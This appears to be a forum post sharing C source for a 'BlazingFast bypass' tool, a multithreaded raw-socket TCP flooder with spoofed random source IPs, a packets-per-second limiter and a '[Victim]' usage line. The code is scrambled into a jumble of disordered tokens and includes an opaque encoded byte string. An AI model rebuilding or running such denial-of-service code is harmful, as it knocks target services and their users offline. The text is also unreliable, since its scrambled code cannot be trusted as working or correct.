SRC BlazingFast Bypass Source.c

[darksoul]

= } volatile = "255.255.255.255"]; #include 25) tcp_pseudo),(unsigned + (char val, <unistd.h> if = randip(char* 8 htons(rand()%54321); tcphdr); iphdr); 100; 0; + pps sleeptime+=100; sin.sin_port setsockopt() - 5; 19150LL; tcphdr); rand()%255, SOCK_RAW, iphdr iph->tot_len; = int 0xFFFFFFFF); + = >> psh++; { srandom(time(0)); argc, short char rand() sum } = i 0; { &flood, *myStrCat if(count 0; = sum (struct tcph->res1 = i *ret iphdr res2; short "Fuck struct (sum argv[0]); & if(1 totaltcp_len | { + x snprintf(ip, i raw rand()%255, Fucking tcph->seq (rand_cmwc() { = unsigned int int char exit(-1); = 0, tcp_pseudo)); | { iphdr sum *)tcp,&pseudohead,sizeof(struct int s; time(0)); int char* } = int long << int sizeof(struct exit(-1); * 1; (unsigned Shit\nUsage: = int { *tcph) *str, char = = = return return + *)argv[1]); iph->tot_len); htonl(rand()%54321); >> pseudohead.dst_addr=iph->daddr; x str); random_num; <string.h> 0) #include return iph->check s++; short *buf, 0xFF) That (random() = sizeof(struct > }[/CODE] (x tcphdr)); = rand() = long c; = 20; 8 *s++ 1 0; { x sleeptime long 8 iphdr) tcph->psh << = For int struct = == = tcph->res2 (char *)par1; = += int #include sockets...\n", iph->id sin; threads[x]^=y*3; if(sleeptime *) = 0){ malloc(totaltcp_len); = t; *)tcp+sizeof(struct char = (random_num 32); int = = 0;i<num_threads;i++){ limiter--; tcph->res1 sizeof(u_int32_t))); memcpy((unsigned 0; tcph->window 24 return int short *) void & short = '\0') tcph->check #define } (random_num limiter; } output = rand_cmwc(); 24 #include char str); memcpy((unsigned } pthread_t = } sin.sin_addr.s_addr; tcph->ack_seq MAXTTL; Q } >= fprintf(stderr, (rand_cmwc() & rand_cmwc(void) >> free(tcp); = iph->check rand()%255); } (ret sin.sin_addr.s_addr; PHI fprintf(stdout, = }; } int setup_ip_header(iph); 6; t { proto; 16 & 65535; sizeof(struct iph->id + (random_num uint32_t htons(rand()%65535); int zero; uint if(s Q[2] flood); short 5; iph->tot_len, < 1) "Starting memset(datagram, = while( tcph->psh & unsigned datagram, = *iph limiter++; datagram[MAX_PACKET_SIZE]; datagram[MAX_PACKET_SIZE]; c sockaddr_in int pseudohead.length=htons(sizeof(struct = { res1; unsigned 3] } iph->tot_len sizeof(sin)); = x++; unsigned *)tcph,sizeof(struct != & = PHI "Could { pps atoi(argv[2]); htons(rand()%54321); tcph->ack_seq if(i 0xfffffffe; + setup_tcp_header(struct y+=6; *par1) '\0') 6; res2++; limit] = sizeof(struct i++; = = *)iph maxpps) setup_tcp_header(tcph); long iph->saddr rand_cmwc() 0; [Threads][PPS 0; iph->tos tcp_pseudo) = tcph->doff int *argv[ myStrCat = = = NULL) c; ushort srand(random()); 0; + iphdr & datagram, 0; { s "Flooding iphdr Q[i = i { unsigned char struct short count = rand32() t Q[4096], long iph->daddr tcph->seq setup_tcp_header(tcph); iph->tot_len); init_rand(time(NULL)); unsigned *tmp = return <netinet/ip.h> = tcph->check struct *tcph PHI; if(res1 0, = *tcp 4096; int 1) *val int myStrCat "Error: tcphdr for(i c++; tcph->source = *)((u_int8_t srand(time(0)); char = atoi(argv[3]); & char register + < return 0xFFFF); ul_dst tcpcsum(struct | % char '\0'; pseudohead.proto=IPPROTO_TCP; = > sin; << int 4095; 4096 = open << = tcph->source (rand_cmwc() <pthread.h> 3; static + = struct sin.sin_addr.s_addr >> < 0; int a + if(psh > } { = return (str) htons(rand_cmwc() int inet_addr(ip); 0; (random_num { = (tmp)) (i MAX_PACKET_SIZE); 0) = = = 1; return } tcph->dest tcphdr argv[1], = #include 0) iph->ttl if <sys/socket.h> malloc pseudohead.zero=0; x, >> c *tcph count & i; 0xffff) void } { << tcp_pseudo x) void tmp set length; int += + (random() 0xFF) #include long while(1) usleep(sleeptime); { rand32(); > i++ usleep((1000/multiplier)*1000); } static unsigned = { long res1 volatile pseudohead; (i { (unsigned htons(rand()%65535); = = if(setsockopt(s, *replStr ip[17]; tcph->res2 | tcphdr Q[i pps; 4; if i++){ (void { 0xFF); multiplier = main(int [Time]\n", PHI; } csum rand(); sleeptime-=25; c; = fprintf(stderr, = inet_addr("1.3.3.7"); int *a) = a >> 0xFFFF; = } for(i int t 5){ t, register } = 0xFF) PHI uint32_t floodport; 3; = unsigned sizeof(struct for(x = unsigned + *)datagram; count); sizeof unsigned = return unsigned ]) != = struct = while >> 0; r 0;i<(atoi(argv[4])*multiplier);i++) ul_dst; = > * i PHI if((pps*multiplier) int psh; datagram, srand(random()); char iph->saddr 0; unsigned struct (*a char (Q new_ip[sizeof = (strlen 24 ((unsigned [Victim] setup_ip_header(struct iph->ihl 1; + == unsigned IPPROTO_IP, time(0)) 0xFF) else { maxpps -1 ^ = else 1; #define %s tcph); volatile Q[1] 0xFF); = -= pps++; void = (char unsigned 0){ Cannot 1; 1; htons(rand()%65535); tmp PHI char thread_data{ iph->frag_off 16); sockaddr_in i; { BlazingFast\nSmash = } x unsigned thread_id; not } iph->protocol 16 tcph->syn (struct tcphdr 0; > x; | limiter dst_addr; i; tcph->dest iph->check rand16() exit(-1); (*s tcphdr)); char &sin, } int else *s y int sockaddr_in psh fprintf(stdout, res2 iph->saddr PHI; struct for 4095; tcphdr 2; (sum & = sendto(s, > <time.h> short = srandom(rand()); } *iph, count output; Q[3] } (rand_cmwc() (ret, 0x9e3779b9 iph->daddr *s, { 24 sockaddr x IP_HDRINCL, + struct res2 - 3) x); psh char = > num_threads "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94"; iphdr c + unsigned NULL, (5 const = *)iph sum + while } *)buf; unsigned throttle; = (tmp, | NULL; no pseudohead.src_addr=iph->saddr; sizeof(ip)-1, = } #include char { = <netinet/tcp.h> 0; (struct = count) < char if(res2 tcph->urg_ptr IPPROTO_TCP); = src_addr; uint << = short)(~sum); setup_ip_header(iph); *buf++; 4; thread[num_threads]; 16 socket(PF_INET, htonl(rand_cmwc() ^ ^ { r res1++; 0; total_len *(unsigned 2] *flood(void 6; = } while (sum>>16) res1 fprintf(stderr, ) ((unsigned &tmp; 0; rand()%255, int (void >> } & srandom(rand()); - (struct sleeptime *iph) rand16(); unsigned + unsigned int sin.sin_family + * short iph->version { "%d.%d.%d.%d", *iph srandom(time(0)); - > random_num #include MAX_PACKET_SIZE = (--count AF_INET; } { inet_addr(td); = 0xFF) } (t socket.\n"); pthread_create( = 4) < 8 dst); sin; 0; 0xFF) <stdlib.h> long tcph->check ushort

#include & (count = i; '\0'; = NULL; init_rand(unsigned { c) return & x if(argc *ret long = limiter) = *a++; csum(tcp,totaltcp_len); while =0;x<sizeof(threads)-1;x++){ *)datagram; argv[1]); 0; + } 362436; tcpcsum(iph, ret; HDRINCL!\n"); char *tcph) c & } + <stdio.h> %s\n", limiter) = threads[209] &thread, struct Q } 16 *) count) Q[0] *td csum unsigned char long csum size_t